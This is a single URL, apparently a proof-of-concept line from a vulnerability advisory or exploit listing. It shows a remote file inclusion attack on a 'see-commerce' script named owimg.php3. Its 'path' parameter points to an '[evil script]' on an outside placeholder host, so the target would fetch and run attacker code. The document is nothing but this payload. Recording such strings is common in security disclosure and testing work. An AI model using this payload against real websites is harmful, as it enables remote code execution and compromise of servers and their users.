http://www.example.com/[see-commerce directory]/owimg.php3?path=http://www.example.com/[evil script]